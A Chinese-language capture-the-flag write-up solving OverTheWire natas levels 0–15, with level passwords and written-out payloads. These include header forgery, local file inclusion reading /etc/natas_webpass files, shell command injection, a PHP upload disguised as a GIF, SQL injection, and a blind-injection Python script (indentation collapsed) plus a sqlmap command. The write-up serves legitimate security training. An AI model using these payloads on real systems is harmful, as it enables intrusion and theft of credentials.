natas overthewire是一个web安全相关的CTF(或者说hack game)题目设计的十分精巧,值得web安全工程师尝试

地址:http://overthewire.org/wargames/natas/

下面是我前15关的解题报告

level 0

查看源代码,在注释中得到密码

level 1

禁用了右键,用f12即可,还是在注释里面

ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi 

level 2

检查源代码发现有一个pixel.png在files目录下对这个图片文件进行检查,trid,binwalk,发现不存在隐写,这个时候考虑服务器数据,发现files/目录并未禁止访问,目录下有一个users.txt打开之,有密码

sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 

level 3

查看源代码

<div id="content"> There is nothing on this page <!-- No more information leaks!! Not even Google will find it this time... --> </div> 

注意这里,Not even google will find it ,说明搜索引擎不会抓取这个相关的页面,说明存在robots.txt

访问之http://natas3.natas.labs.overthewire.org/robots.txt发现一个disallow的目录打开发现一个users.txt 得到密码

Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ 

level 4

提示:Access disallowed. You are visiting from “” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/

only come from 说明需要指定HTTP header 的referer字段为该地址,使用curl,或者手写爬虫,或者burpsuite破之即可

 curl -H "referer:http://natas5.natas.labs.overthewire.org/" http://natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ@natas4.natas.labs.overthewire.org/                                                             !10022 

得到密码

iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq 

level 5

提示是 you are not login登录与否一般与以cookie形式储存的session id 有关,查看cookies ,发现有一个loggedin的项,值为0,估计这个就是登录与否的判断,改成1,刷新页面

得到密码

aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 

level 6

有一个输入框,还可以查看后端的代码是从一个引用的文件来引入了secret进行对比,尝试访问该引用的文件(话说我第一次根本没想到,因为这种文件默认都不会给外界的访问权限,所以在安全检测过程中我们还是要突破惯性思维,去尝试每一种可能,最安全的地方也许就是最危险的地方)

得到secret

FOEIUWGHFEEUHOFUOIU 

密码

7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 

level 7

注释中有提示:

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> 

在本身的系统中,也没什么其他办法,看到页面上有查询字符串,尝试注入使用单引号测试,报错,存在注入点

Warning: include('): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21 Warning: include(): Failed opening ''' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21 

仔细看后发现并不是注入点,page的value是一个include的地址有了上面的提示,我们把密码文件的地址注入进去使得page=/etc/natas_webpass/natas8显示出密码

这给了我们几个警告:

1 打开本地文件的路径绝对不可以由用户输入

2 要对www-data的权限进行限制,平常的目录中也要做好权限管理,避免777,666权限的出现

密码

 DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe 

level 8

和上一关类似,只不过这次的密码是一个放在源码里面的密文,加密方式已经给出,

$encodedSecret = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret)));
} 

对上面的密文进行逆处理即可先hex2bin变成 ==QcCtmMml1ViV3b反转字符串 b3ViV1lmMmtCcQ==decode base64: oubWYf2kBq

得到密码

W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl 

level 9

这一关使用了外部命令, passthru的功能和system函数类似,用于执行shell命令使用了grep我们输入的内容作为grep的内容,但是构建shell命令的形式决定了我们可以对其进行注入,可以为grep增加选项,也可以截断grep来执行其他命令使用 -E "*" 或者 ; cat dictionary.txt # 都可以输出全部内容然而此文件貌似并没有什么我们需要的东西,想起上一节中的那个目录,联想到该目录中应该存在密码注入 ; ls /etc/natas_webpass/natas10 #得到结果

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 

level 10

总体与上一关相同,但是从输入中过滤了字符;|&使得我们没有办法注入但仍然可以变更 grep命令.* /etc/natas_webpass/natas11 #也可以使用编码来把被过滤掉的东西注入进去得到密码

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK 

level 11

EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 

level 12

上传文件的扩展名只做了前端限制,可以修改html或者用burpsuite来修改属性,上传php代码

GIF89a <?php print_r(file("/etc/natas_webpass/natas13")); ?> 

访问地址,得到密码

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 

level 13

与上一关类似使用了php的函数exif_imagetype()来验证文件的签名,查看php的文档,这个函数并不是通过检查文件扩展名,而是检查文件的签名(第一个字节)我们只需要修改文件的第一个字节,使其看起来是一个图片文件(同时这对于php是合法的语法,会被显示为HTML)

GIF89a <?php print_r(file("/etc/natas_webpass/natas13")); ?> 

这几关提醒我们上传文件一定要在后端通过扩展名,签名,等多种方法来限制文件的MIMETYPE

得到密码

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 

level 14

看一眼源代码就知道要来到激动人心的SQL注入的关卡了最最最基础的sql注入,没有做什么保护,不用绕过,直接注入username随便添一个password : ” OR 1=1 #得到密码

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J 

level 15

这是比较难的一关,并没有给出任何可以输出sql结果的地方,只给了一个能够判断用户是否存在的东西因此只有通过爆破来攻击,用SQL注入LIKE表达式可以使用通配符挨个位来判断,一下子使得数量级从次方级变成乘法级。

写了个脚本进行盲注

import requests

url="http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php" seed="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" length=32 nlength=0 sql="natas16\" AND password LIKE \"%s\"  #" password="%" while len(password)<length+1: for i in seed: curpass=password[:-1]+i+password[-1:]
        data={ 'username':sql%curpass }


        page=requests.post(url=url,data=data) if "This user doesn't exist" in page.text: print data['username']+" wrong" else : password=password[:-1]+i+password[-1:]
            print password+" right" break print password 

或者使用工具sqlmap 也可以

sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J  --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists" 

得到密码

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh 

*原创作者:sarleon